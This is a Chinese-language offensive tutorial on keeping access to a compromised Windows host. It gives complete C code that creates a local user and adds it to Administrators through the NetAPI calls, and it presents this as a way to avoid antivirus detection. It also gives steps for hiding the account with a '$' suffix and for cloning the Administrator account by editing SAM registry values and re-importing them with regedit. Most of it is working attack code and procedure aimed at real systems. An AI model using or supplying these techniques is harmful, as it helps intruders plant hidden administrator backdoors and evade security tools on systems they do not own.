許可權維持之建立本地賬號(T1136.001)
一般新增使用者賬號會被AV檢測到,但是我們可以使用 Windows 的 API進行繞過
使用到的API函式
//新增一個使用者賬號 NET_API_STATUS NET_API_FUNCTION NetUserAdd( LPCWSTR servername, DWORD level, LPBYTE buf, LPDWORD parm_err ); //將使用者新增到指定的組,這裡我們肯定是新增到管理員組啦 NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers( LPCWSTR servername, LPCWSTR groupname, DWORD level, LPBYTE buf, DWORD totalentries );
微軟給的Demo : https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd
#ifndef UNICODE #define UNICODE #endif #pragma comment(lib, "netapi32.lib") #include <stdio.h> #include <windows.h> #include <lm.h> int wmain(int argc, wchar_t *argv[]) { USER_INFO_1 ui; DWORD dwLevel = 1; DWORD dwError = 0; NET_API_STATUS nStatus; if (argc != 3) { fwprintf(stderr, L"Usage: %s \\\\ServerName UserName\n", argv[0]); exit(1); } // // Set up the USER_INFO_1 structure. // USER_PRIV_USER: name identifies a user, // rather than an administrator or a guest. // UF_SCRIPT: required // ui.usri1_name = argv[2]; ui.usri1_password = argv[2]; ui.usri1_priv = USER_PRIV_USER; ui.usri1_home_dir = NULL; ui.usri1_comment = NULL; ui.usri1_flags = UF_SCRIPT; ui.usri1_script_path = NULL; // // Call the NetUserAdd function, specifying level 1. // nStatus = NetUserAdd(argv[1], dwLevel, (LPBYTE)&ui, &dwError); // // If the call succeeds, inform the user. // if (nStatus == NERR_Success) fwprintf(stderr, L"User %s has been successfully added on %s\n", argv[2], argv[1]); // // Otherwise, print the system error. // else fprintf(stderr, "A system error has occurred: %d\n", nStatus); return 0; }
當然,我們要的是管理員許可權,因此在使用 NetLocalGroupAddMembers
新增為管理員
#ifndef UNICODE #define UNICODE #endif #pragma comment(lib, "netapi32.lib") #include <stdio.h> #include <windows.h> #include <lm.h> #include<stdlib.h> #include<Shlobj.h> int wmain(int argc, wchar_t* argv[]) { USER_INFO_1 ui; DWORD dwLevel = 1; DWORD dwError = 0; NET_API_STATUS nStatus; BOOL Isadmin = IsUserAnAdmin(); if (argc <3) { fwprintf(stderr, L"Usage: %s UserName Password\n", argv[0]); exit(1); } if (!Isadmin) { fwprintf(stderr,L"[-] Run as administrator level"); exit(1); } // // Set up the USER_INFO_1 structure. // USER_PRIV_USER: name identifies a user, // rather than an administrator or a guest. // UF_SCRIPT: required // ui.usri1_name = argv[1]; ui.usri1_password = argv[2]; ui.usri1_priv = USER_PRIV_USER; ui.usri1_home_dir = NULL; ui.usri1_comment = NULL; ui.usri1_flags = UF_SCRIPT; ui.usri1_script_path = NULL; // // Call the NetUserAdd function, specifying level 1. // nStatus = NetUserAdd(NULL, dwLevel, (LPBYTE)&ui, &dwError); // // If the call succeeds, inform the user. // if (nStatus == NERR_Success) fwprintf(stderr, L"User %s has been successfully added on %s\n", argv[2], argv[1]); // // Otherwise, print the system error. // else { fprintf(stderr, "A system error has occurred: %d\n", nStatus); } NET_API_STATUS gStatus; LOCALGROUP_MEMBERS_INFO_3 gi; gi.lgrmi3_domainandname = ui.usri1_name; DWORD level = 3; DWORD totalentries = 1; gStatus = NetLocalGroupAddMembers(NULL, L"Administrators", level, (LPBYTE)&gi, totalentries); if (gStatus == NERR_Success) { fwprintf(stderr, L"[+] User %s has been added into administrators\n", argv[1]); } else { fwprintf(stderr, L"[-] A system error has occurred: %d\n", gStatus); } return 0; }

過程中 360 火絨 皆無反應


最後在推薦一個工具
https://github.com/bopin2020/net_user_tools_bypass_hook_net.exe
一般來說,不僅僅是新增使用者會被攔截,刪除使用者等操作也是會被攔截的,這個工具已經集合了這些功能了
如何有效隱藏使用者賬戶
一般做許可權維持的話就要思考如何將我們新增的使用者隱蔽起來
首先你可以去新增以 $
結尾的使用者
.\AddUser.exe qwerty$ pass@123

使用 net user
命令是看不出來的,但是你能夠在控制面板或者 net user qwerty$
中看見,高版本Windows中在登出後也可以看見

測試克隆使用者
這裡面我們克隆一下 Administrator
使用者測試(需要保證你的管理員賬戶是啟用的,不然克隆後也是禁用狀態)
想將我們的登錄檔的 SAM
項的許可權改為 administrator可以完全控制
在登錄檔中找到我們新增的使用者,並且匯出為1.reg(並且記錄其 登錄檔項的預設值,我這裡是 0x3fd)


再根據型別值匯出這個項 2.reg
預設情況下 Administrator
的型別值為 0x1f4
我們根據這個匯出他的登錄檔項 3.reg

接下將 2.reg 中的F 值替換為 3.reg中的F值(其實就是登錄檔下的 F 項的值替換)

接下來就這樣操作
net user qwerty$ /del // 刪除原有的賬號
regedit /s 1.reg //重新匯入
regedit /s 2.reg

那麼這個克隆賬號就做好了(在控制面板中看不到了),可以理解為這個賬號指向了 administrator
不僅僅可以克隆其他管理員賬戶,其他的都可以.
三好師傅也給了一鍵利用的指令碼
https://github.com/3gstudent/Windows-User-Clone/blob/master/Windows-User-Clone.ps1

至於如何提升至 System
許可權,可以參考上文中的令牌竊取
參考
https://www.cnblogs.com/17bdw/p/6790197.html
https://github.com/bopin2020/net_user_tools_bypass_hook_net.exe